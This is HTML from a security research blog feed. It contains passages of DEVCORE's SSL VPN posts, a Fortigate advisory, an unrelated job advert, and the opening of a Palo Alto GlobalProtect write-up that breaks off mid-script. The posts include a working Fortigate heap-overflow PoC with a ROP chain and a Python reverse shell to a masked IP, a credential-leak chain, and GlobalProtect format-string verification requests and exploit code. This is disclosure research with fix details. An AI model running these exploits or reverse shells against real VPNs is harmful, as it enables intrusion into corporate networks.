href="https://twitter.com/hashtag/bh2019?src=hash&amp;ref_src=twsrc%5Etfw">#bh2019</a> talk of <a href="https://twitter.com/orange_8361?ref_src=twsrc%5Etfw">@orange_8361</a> and <a href="https://twitter.com/mehqq_?ref_src=twsrc%5Etfw">@mehqq_</a> for details (tnx guys for the teaser that got us started) <a href="https://t.co/TLLEbXKnJ4">pic.twitter.com/TLLEbXKnJ4</a></p>&mdash; Code White GmbH (@codewhitesec) <a href="https://twitter.com/codewhitesec/status/1145967317672714240?ref_src=twsrc%5Etfw">2019年7月2日</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> <h3 id="cve-2018-13383-post-auth-heap-overflow"><a href="https://fortiguard.com/psirt/FG-IR-18-388">CVE-2018-13383</a>: Post-auth heap overflow</h3> <p>This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">js_buf</span><span class="p">,</span> <span class="n">js_buf_len</span><span class="p">);</span> </code></pre></div></div> <p>The buffer size is fixed to <code class="language-plaintext highlighter-rouge">0x2000</code>, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.</p> <h1 id="exploitation">Exploitation</h1> <p>The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.</p> <h3 id="cve-2018-13381">CVE-2018-13381</h3> <p>Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.</p> <ul> <li>Single thread, single process, single allocator The web daemon handles multiple connection with <code class="language-plaintext highlighter-rouge">epoll()</code>, no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.</li> <li>Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.</li> <li>Apache additional memory management. The memory won’t be <code class="language-plaintext highlighter-rouge">free()</code> until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.</li> <li>JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.</li> </ul> <p>We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!</p> <h3 id="cve-2018-13379--cve-2018-13383">CVE-2018-13379 + CVE-2018-13383</h3> <p>This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.</p> <ul> <li> <p>Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.</p> <p><img src="/assets/img/blog/20190807/4.png" alt="" /></p> </li> <li> <p>Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.</p> <p>Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something <strong>regularly</strong> appears! It would be great if it is <strong>everywhere</strong>, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.</p> <p>We got an interesting crash. To our great surprise, we almost control the program counter!</p> <p><img src="/assets/img/blog/20190807/5.png" alt="" /></p> <p>Here is the crash, and that’s why we love fuzzing! ;)</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc =&gt; 0x7fb908d12a77 &lt;SSL_do_handshake+23&gt;: callq *0x60(%rax) (gdb) </code></pre></div> </div> <p>The crash happened in <a href="https://github.com/openssl/openssl/blob/master/ssl/ssl_lib.c#L3716"><code class="language-plaintext highlighter-rouge">SSL_do_handshake()</code></a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="nf">SSL_do_handshake</span><span class="p">(</span><span class="n">SSL</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// ...</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">method</span><span class="o">-&gt;</span><span class="n">ssl_renegotiate_check</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">SSL_in_init</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">||</span> <span class="n">SSL_in_before</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="p">{</span> <span class="k">if</span> <span class="p">((</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">mode</span> <span class="o">&amp;</span> <span class="n">SSL_MODE_ASYNC</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">ASYNC_get_current_job</span><span class="p">()</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">ssl_async_args</span> <span class="n">args</span><span class="p">;</span> <span class="n">args</span><span class="p">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">ssl_start_async_job</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">args</span><span class="p">,</span> <span class="n">ssl_do_handshake_intern</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">handshake_func</span><span class="p">(</span><span class="n">s</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> </div> <p>We overwrote the function table inside <a href="https://github.com/openssl/openssl/blob/master/ssl/ssl_locl.h#L1080"><code class="language-plaintext highlighter-rouge">struct SSL</code></a> called <a href="https://github.com/openssl/openssl/blob/master/ssl/ssl_locl.h#L1087">method</a>, so when the program trying to execute <code class="language-plaintext highlighter-rouge">s-&gt;method-&gt;ssl_renegotiate_check(s, 0);</code>, it crashed.</p> <p>This is actually an ideal target of our exploit! The allocation of <code class="language-plaintext highlighter-rouge">struct SSL</code> can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that <code class="language-plaintext highlighter-rouge">ret = s-&gt;handshake_func(s);</code> calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.</p> <p>We first <strong>spray</strong> the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.</p> <p><img src="/assets/img/blog/20190807/6.png" alt="" /></p> <p>Here we put our php PoC on an HTTP server:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cp">&lt;?php</span> <span class="k">function</span> <span class="n">p64</span><span class="p">(</span><span class="nv">$address</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$low</span> <span class="o">=</span> <span class="nv">$address</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="p">;</span> <span class="nv">$high</span> <span class="o">=</span> <span class="nv">$address</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="p">;</span> <span class="k">return</span> <span class="nb">pack</span><span class="p">(</span><span class="s2">"II"</span><span class="p">,</span> <span class="nv">$low</span><span class="p">,</span> <span class="nv">$high</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$junk</span> <span class="o">=</span> <span class="mh">0x4141414141414141</span><span class="p">;</span> <span class="nv">$nop_func</span> <span class="o">=</span> <span class="mh">0x32FC078</span><span class="p">;</span> <span class="nv">$gadget</span> <span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="nv">$junk</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="nv">$nop_func</span> <span class="o">-</span> <span class="mh">0x60</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="nv">$junk</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x110FA1A</span><span class="p">);</span> <span class="c1">// # start here # pop r13 ; pop r14 ; pop rbp ; ret ;</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="nv">$junk</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="nv">$junk</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x110fa15</span><span class="p">);</span> <span class="c1">// push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x1bed1f6</span><span class="p">);</span> <span class="c1">// pop rax ; ret ;</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x58</span><span class="p">);</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x04410f6</span><span class="p">);</span> <span class="c1">// add rdi, rax ; mov eax, dword [rdi] ; ret ;</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mh">0x1366639</span><span class="p">);</span> <span class="c1">// call system ;</span> <span class="nv">$gadget</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"</span><span class="p">;</span> <span class="nv">$p</span> <span class="o">=</span> <span class="nb">str_repeat</span><span class="p">(</span><span class="s1">'AAAAAAAA'</span><span class="p">,</span> <span class="mi">1024</span><span class="o">+</span><span class="mi">512</span><span class="o">-</span><span class="mi">4</span><span class="p">);</span> <span class="c1">// offset</span> <span class="nv">$p</span> <span class="mf">.</span><span class="o">=</span> <span class="nv">$gadget</span><span class="p">;</span> <span class="nv">$p</span> <span class="mf">.</span><span class="o">=</span> <span class="nb">str_repeat</span><span class="p">(</span><span class="s1">'A'</span><span class="p">,</span> <span class="mh">0x1000</span> <span class="o">-</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$gadget</span><span class="p">));</span> <span class="nv">$p</span> <span class="mf">.</span><span class="o">=</span> <span class="nv">$gadget</span><span class="p">;</span> <span class="cp">?&gt;</span> <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"javascript:void(0);</span><span class="cp">&lt;?=</span><span class="nv">$p</span><span class="p">;</span><span class="cp">?&gt;</span><span class="s">"</span><span class="nt">&gt;</span>xxx<span class="nt">&lt;/a&gt;</span> </code></pre></div> </div> <p>The PoC can be divided into three parts.</p> <ol> <li> <p>Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the <code class="language-plaintext highlighter-rouge">method</code> to a place containing a void function pointer. The parameter at this time is SSL structure itself <code class="language-plaintext highlighter-rouge">s</code>. However, there is only 8 bytes ahead of <code class="language-plaintext highlighter-rouge">method</code>. We cannot simply call <code class="language-plaintext highlighter-rouge">system("/bin/sh");</code> on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; </code></pre></div> </div> <p>So we set the <code class="language-plaintext highlighter-rouge">handshake_func</code> to this gadget, move the <code class="language-plaintext highlighter-rouge">rsp</code> to our SSL structure, and do further ROP attack.</p> </li> <li>ROP chain The ROP chain here is simple. We slightly move the <code class="language-plaintext highlighter-rouge">rdi</code> forward so there is enough space for our reverse shell command.</li> <li>Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.</li> </ol> <p>Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the <code class="language-plaintext highlighter-rouge">SSL_do_handshake</code>. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.</p> </li> </ul> <h1 id="demo">Demo</h1> <iframe width="560" height="315" src="https://www.youtube.com/embed/Aw55HqZW4x0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h1 id="timeline">Timeline</h1> <ul> <li>11 December, 2018 Reported to Fortinet</li> <li>19 March, 2019 All fix scheduled</li> <li>24 May, 2019 All advisory released</li> </ul> <h1 id="fix">Fix</h1> <p>Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.</p> https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/ https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn Fri, 09 Aug 2019 00:00:00 +0800 Fortigate SSL VPN 資安通報 <h3 id="內容">內容</h3> <p>上一篇 SSL VPN 研究系列文我們通報了在 <a href="https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory/">Palo Alto GlobalProtect 上的 RCE 弱點</a>,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:</p> <ul> <li>CVE-2018-13379: Pre-auth arbitrary file reading</li> <li>CVE-2018-13380: Pre-auth XSS</li> <li>CVE-2018-13381: Pre-auth heap overflow</li> <li>CVE-2018-13382: The magic backdoor</li> <li>CVE-2018-13383: Post-auth heap overflow</li> </ul> <p>透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。</p> <p>此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。</p> <p>在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。</p> <h3 id="細節">細節</h3> <p>詳細的技術細節請參閱我們的 Advisory: <a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/">https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/</a></p> <h3 id="附註">附註</h3> <p>這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 <a href="https://pwnies.com/winners/">pwnie for best server-side bug</a>(年度最佳伺服器漏洞)。</p> https://devco.re/blog/2019/08/09/Fortigate-SSL-VPN-advisory/ https://devco.re/blog/2019/08/09/Fortigate-SSL-VPN-advisory Fri, 09 Aug 2019 00:00:00 +0800 [已結束] DEVCORE 徵求行政專員 <p>戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。</p> <p>在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。</p> <p>因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。</p> <p>我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:</p> <!-- more --> <h3 id="工作內容">工作內容</h3> <ul> <li>庶務性行政工作 50% <ul> <li>人員接待,例如:電話接聽、來訪人員接待</li> <li>文件收發,例如:郵務作業、快遞服務</li> <li>檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整</li> <li>資料蒐集,例如:各類公司業務需求資料查找</li> </ul> </li> <li>總務工作 20% <ul> <li>辦公室各類用品採買</li> <li>辦公室環境維護</li> </ul> </li> <li>採購工作 15% <ul> <li>設備採購管理</li> <li>服務供應商管理</li> </ul> </li> <li>人事工作 5% <ul> <li>保險事務,例如:團體保險、旅遊不便險</li> <li>差旅行程,例如:交通票券訂購、簽證辦理</li> <li>教育訓練安排</li> </ul> </li> <li>其他主管交辦事項 10%</li> </ul> <h3 id="工作時間">工作時間</h3> <p>10:00 - 18:00</p> <h3 id="工作地點">工作地點</h3> <p>台北市中山區復興北路 168 號 10 樓 (捷運南京復興站 8 號出口,走路約 3 分鐘)</p> <h3 id="人格特質偏好">人格特質偏好</h3> <ul> <li>細心嚴謹,能耐心的處理繁瑣的庶務工作。</li> <li>主動積極,看到我們沒發現的細節,超越我們所期望的基準。</li> <li>懂得溝通傾聽,能同理他人,找出彼此共識。</li> <li>擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。</li> <li>良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。</li> <li>勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。</li> </ul> <h3 id="工作條件要求">工作條件要求</h3> <ul> <li>需有三年以上行政相關工作經驗</li> <li>熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力</li> <li>習慣使用雲端服務,如:Google Drive, Dropbox 或其他</li> </ul> <h3 id="加分條件">加分條件</h3> <ul> <li>您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他<br /><font color="#8c8c8c">您將會使用專案管理系統管理平日任務。</font></li> <li>您是 MAC 使用者<br /><font color="#8c8c8c">您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。</font></li> <li>您是生活駭客<br /><font color="#8c8c8c">您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。</font></li> </ul> <h3 id="工作環境">工作環境</h3> <ul> <li>您會在一個開闊的辦公環境工作 <img src="/assets/img/blog/20150819/devcore_office_2.jpg" alt="DEVCORE ENV" /></li> <li>您會擁有一張 Aeron 人體工學椅 <img src="/assets/img/blog/20150819/devcore_aeron.jpg" alt="DEVCORE AERON" /></li> <li>每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 <img src="/assets/img/blog/20150819/devcore_office_3.jpg" alt="DEVCORE DRINK" /></li> <li>公司提供飛鏢機讓您發洩對主管的怨氣 <img src="/assets/img/blog/20150819/devcore_dart.jpg" alt="DEVCORE DART" /></li> </ul> <h3 id="公司福利">公司福利</h3> <p>我們注重公司每位同仁的身心健康,請參考以下福利制度:</p> <ul> <li>休假福利 <ul> <li>到職即可預支當年度特休</li> <li>每年五天全薪病假</li> </ul> </li> <li>獎金福利 <ul> <li>三節禮金(春節、端午節、中秋節)</li> <li>生日禮金</li> <li>婚喪補助</li> </ul> </li> <li>休閒福利 <ul> <li>員工旅遊</li> <li>舒壓按摩</li> <li>Team Building</li> </ul> </li> <li>美食福利 <ul> <li>零食飲料</li> <li>員工聚餐</li> </ul> </li> <li>健康福利 <ul> <li>員工健康檢查</li> <li>運動中心健身券</li> </ul> </li> <li>進修福利 <ul> <li>內部教育訓練</li> <li>外部進修課程</li> </ul> </li> <li>其他 <ul> <li>專業的公司團隊</li> <li>扁平的內部組織</li> <li>順暢的溝通氛圍</li> </ul> </li> </ul> <h3 id="起薪範圍">起薪範圍</h3> <p>新台幣 34,000 - 40,000 (保證年薪 14 個月)</p> <h3 id="應徵方式">應徵方式</h3> <ul> <li>請將您的履歷以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOC</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> </ul> </li> <li>標題格式:<strong>[應徵] 行政專員 您的姓名</strong>(範例:[應徵] 行政專員 王小美)</li> <li>履歷內容請務必控制在兩頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>工作經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> </ul> <h3 id="附註">附註</h3> <p>我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。 由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。</p> <p>我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!</p> https://devco.re/blog/2019/07/23/devcore-201907-recruit/ https://devco.re/blog/2019/07/23/devcore-201907-recruit Tue, 23 Jul 2019 00:00:00 +0800 Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study! <p>Author: Orange Tsai(<a href="https://twitter.com/orange_8361">@orange_8361</a>) and Meh Chang(<a href="https://twitter.com/mehqq_">@mehqq_</a>)</p> <p>SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.</p> <p>We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our <a href="https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545">Black Hat USA</a> and <a href="https://www.defcon.org/html/defcon-27/dc-27-speakers.html">DEFCON</a> talk:</p> <ul> <li><strong>Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs</strong>!</li> </ul> <p><br /></p> <p>Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.</p> <p>In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)</p> <h2 id="the-story">The story</h2> <p>In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to <code class="language-plaintext highlighter-rouge">/global-protect/login.esp</code> on web root!</p> <p>About the vulnerability, we accidentally discovered it during our <a href="https://devco.re/en/services/red-team/">Red Team assessment services</a>. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.</p> <p>We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!</p> <p><em>[1] There are some exploit about the Pan-OS management interface before such as the <a href="https://www.exploit-db.com/exploits/43342">CVE-2017-15944</a> and the excellent <a href="https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/">Troppers16 paper</a> by <a href="https://twitter.com/_fel1x">@_fel1x</a>, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port</em></p> <h2 id="the-bug">The bug</h2> <p>The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The <code class="language-plaintext highlighter-rouge">sslmgr</code> is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path <code class="language-plaintext highlighter-rouge">/sslmgr</code>.</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl https://global-protect/sslmgr &lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">"1.0"</span> <span class="nv">encoding</span><span class="o">=</span><span class="s2">"UTF-8"</span> ?&gt; &lt;clientcert-response&gt; &lt;status&gt;error&lt;/status&gt; &lt;msg&gt;Invalid parameters&lt;/msg&gt; &lt;/clientcert-response&gt; </code></pre></div></div> <p>During the parameter extraction, the daemon searches the string <code class="language-plaintext highlighter-rouge">scep-profile-name</code> and pass its value as the <code class="language-plaintext highlighter-rouge">snprintf</code> format to fill in the buffer. That leads to the format string attack. You can just crash the service with <code class="language-plaintext highlighter-rouge">%n</code>!</p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/sslmgr</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">global-protect</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">36</span> scep-profile-name=%n%n%n%n%n... </code></pre></div></div> <h2 id="affect-versions">Affect versions</h2> <p>According to our survey, all the GlobalProtect before <code class="language-plaintext highlighter-rouge">July 2018</code> are vulnerable! Here is the affect version list:</p> <ul> <li>Palo Alto GlobalProtect SSL VPN 7.1.x &lt; 7.1.19</li> <li>Palo Alto GlobalProtect SSL VPN 8.0.x &lt; 8.0.12</li> <li>Palo Alto GlobalProtect SSL VPN 8.1.x &lt; 8.1.3</li> </ul> <p>The series 9.x and 7.0.x are not affected by this vulnerability.</p> <h2 id="how-to-verify-the-bug">How to verify the bug</h2> <p>Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!</p> <p>By reading the <a href="https://linux.die.net/man/3/snprintf">snprintf manual</a>, we choose the <code class="language-plaintext highlighter-rouge">%c</code> as our gadget! When there is a number before the format, such as <code class="language-plaintext highlighter-rouge">%9999999c</code>, the <code class="language-plaintext highlighter-rouge">snprintf</code> repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">time </span>curl <span class="nt">-s</span> <span class="nt">-d</span> <span class="s1">'scep-profile-name=%9999999c'</span> https://global-protect/sslmgr <span class="o">&gt;</span>/dev/null real 0m1.721s user 0m0.037s sys 0m0.005s <span class="nv">$ </span><span class="nb">time </span>curl <span class="nt">-s</span> <span class="nt">-d</span> <span class="s1">'scep-profile-name=%99999999c'</span> https://global-protect/sslmgr <span class="o">&gt;</span>/dev/null real 0m2.051s user 0m0.035s sys 0m0.012s <span class="nv">$ </span><span class="nb">time </span>curl <span class="nt">-s</span> <span class="nt">-d</span> <span class="s1">'scep-profile-name=%999999999c'</span> https://global-protect/sslmgr <span class="o">&gt;</span>/dev/null real 0m5.324s user 0m0.021s sys 0m0.018s </code></pre></div></div> <p>As you can see, the response time increases along with the number of <code class="language-plaintext highlighter-rouge">%c</code>. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!</p> <p><em>[1] Although there is a watchdog monitoring the <code class="language-plaintext highlighter-rouge">sslmgr</code> daemon, it’s still improper to crash a service!</em></p> <h2 id="the-exploitation">The exploitation</h2> <p>Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the <code class="language-plaintext highlighter-rouge">/global-protect/portal/css/login.css</code> from 8.x version and the <code class="language-plaintext highlighter-rouge">/images/logo_pan_158.gif</code> from 7.x version!</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-s</span> <span class="nt">-I</span> https://sslvpn/global-protect/portal/css/login.css | <span class="nb">grep </span>Last-Modified Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT </code></pre></div></div> <p>With a specified version, we can write our own exploit now. We simply modified the pointer of <code class="language-plaintext highlighter-rouge">strlen</code> on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of <code class="language-plaintext highlighter-rouge">system</code>. Here is the PoC:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python </span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"https://sslvpn/sslmgr"</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">"echo pwned &gt; /var/appweb/sslvpndocs/hacked.txt"</span> <span class="n">strlen_GOT</span> <span class="o">=</span> <span class="mh">0x667788</span> <span class="c1"># change me </span><span class="n">system_plt</span> <span class="o">=</span> <span class="mh">0x445566</span> <span class="c1"># change me </span> <span class="n">fmt</span> <span class="o">=</span> <span class="s">'%70$n'</span> <span class="n">fmt</span> <span class="o">+=</span> <span class="s">'%'</span> <span class="o">+</span> <span 